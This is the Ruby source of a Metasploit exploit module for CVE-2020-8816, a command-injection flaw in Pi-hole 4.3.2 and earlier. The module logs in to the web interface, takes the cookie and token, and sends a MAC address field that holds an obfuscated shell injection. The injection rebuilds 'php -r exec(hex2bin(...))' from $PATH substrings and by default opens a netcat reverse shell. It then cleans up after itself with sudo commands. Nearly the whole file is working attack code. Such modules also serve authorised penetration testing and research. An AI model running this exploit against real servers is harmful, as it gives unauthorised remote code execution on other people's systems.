## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Pi-Hole DHCP MAC OS Command Execution', 'Description' => %q{ This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first in the $PATH due to exploitation constraints. DHCP server is not required to be running. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'nateksec' # original PoC, discovery ], 'References' => [ ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'], ['CVE', '2020-8816'] ], 'Platform' => ['unix'], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => 'Mar 28 2020', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }, 'Payload' => { 'BadChars' => "\x00" }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ Opt::RPORT(80), OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']), OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']) ] ) end def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 # vDev (HEAD, v4.3-0-g44aff72) # v4.3 %r{Web Interface Version\s*\s*(vDev \(HEAD, )?v?(?[\d\.]+)\)?.*}m =~ res.body if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2') vprint_good("Version Detected: #{version}") return CheckCode::Appears else vprint_bad("Version Detected: #{version}") return CheckCode::Safe end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end CheckCode::Safe end def login(cookie) vprint_status('Login required, attempting login.') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'cookie' => cookie, 'vars_get' => { 'tab' => 'piholedhcp' }, 'vars_post' => { 'pw' => datastore['PASSWORD'] }, 'method' => 'POST' ) end def add_static(payload, cookie, token) # we don't use vars_post due to the need to have duplicate fields send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'method' => 'POST', 'vars_get' => { 'tab' => 'piholedhcp' }, 'data' => [ 'AddMAC=', 'AddIP=', 'AddHostname=', "AddMAC=#{URI.encode_www_form_component(payload)}", "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s "AddHostname=#{rand_text_alphanumeric(8..12)}", 'addstatic=', 'field=DHCP', "token=#{URI.encode_www_form_component(token)}" ].join('&') ) end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end begin @macs = [] # get cookie res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') ) cookie = res.get_cookies print_status("Using cookie: #{cookie}") # get token res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'cookie' => cookie, 'vars_get' => { 'tab' => 'piholedhcp' } ) # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') res = login(cookie) end if res && res.body.include?('Sign in to start your session') fail_with(Failure::BadConfig, 'Incorrect Password') end # # may also include / %r{name="token" value="(?[\w+=/]+)">} =~ res.body unless token fail_with(Failure::UnexpectedReply, 'Unable to find token') end print_status("Using token: #{token}") # from the excellent writeup about the vuln: # The biggest difficulty in exploiting this vulnerability is that the user input is # capitalized through a call to "strtoupper". Because of this, no lower case character # can be used in the resulting injection. # we'd like to execute something similar to this: # aaaaaaaaaaaa&&php -r 'PAYLOAD' # however, we need to pull p, h, and r from the system due to all input getting capitalized # this is performed by pulling them from the $PATH which should be something like # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # first payload we send is to check that this is in the path to verify exploitation is possible mac = rand_text_hex(12).upcase @macs << mac vprint_status("Validating path with MAC: #{mac}") res = add_static("#{mac}$PATH", cookie, token) # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~ env = res.body.match(/value="#{mac}(?.*)">/) if env && env[:env].starts_with?('/opt/pihole') print_good("System env path exploitable: #{env[:env]}") else msg = '/opt/pihole not in path. Exploitation not possible.' if env msg += " Path: #{env[:env]}" end fail_with(Failure::UnexpectedReply, msg) end # once we have php -r, we then need to pass a payload. So we do this via php command # exec on hex2bin since our payload in hex caps will still get processed and executed. mac = rand_text_hex(12).upcase @macs << mac print_status("Payload MAC will be: #{mac}") shellcode = "#{mac}&&" # mac address, arbitrary shellcode << 'W=${PATH#/???/}&&' shellcode << 'P=${W%%?????:*}&&' shellcode << 'X=${PATH#/???/??}&&' shellcode << 'H=${X%%???:*}&&' shellcode << 'Z=${PATH#*:/??}&&' shellcode << 'R=${Z%%/*}&&$' shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin( shellcode << '"' shellcode << payload.encoded.unpack('H*').join('') # hex encode payload shellcode << '"));' shellcode << "'&&" vprint_status("Shellcode: #{shellcode}") print_status('Sending Exploit') add_static(shellcode, cookie, token) # we don't use vars_post due to the need to have duplicate fields ip = '192.168' 2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'method' => 'POST', 'vars_get' => { 'tab' => 'piholedhcp' }, 'data' => [ 'AddMAC=', 'AddIP=', 'AddHostname=', "AddMAC=#{URI.encode_www_form_component(shellcode)}", "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s "AddHostname=#{rand_text_alphanumeric(3..8)}", 'addstatic=', 'field=DHCP', "token=#{URI.encode_www_form_component(token)}" ].join('&') ) # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def on_new_session(session) super @macs.each do |mac| print_status("Attempting to clean #{mac} from config") session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}") end end end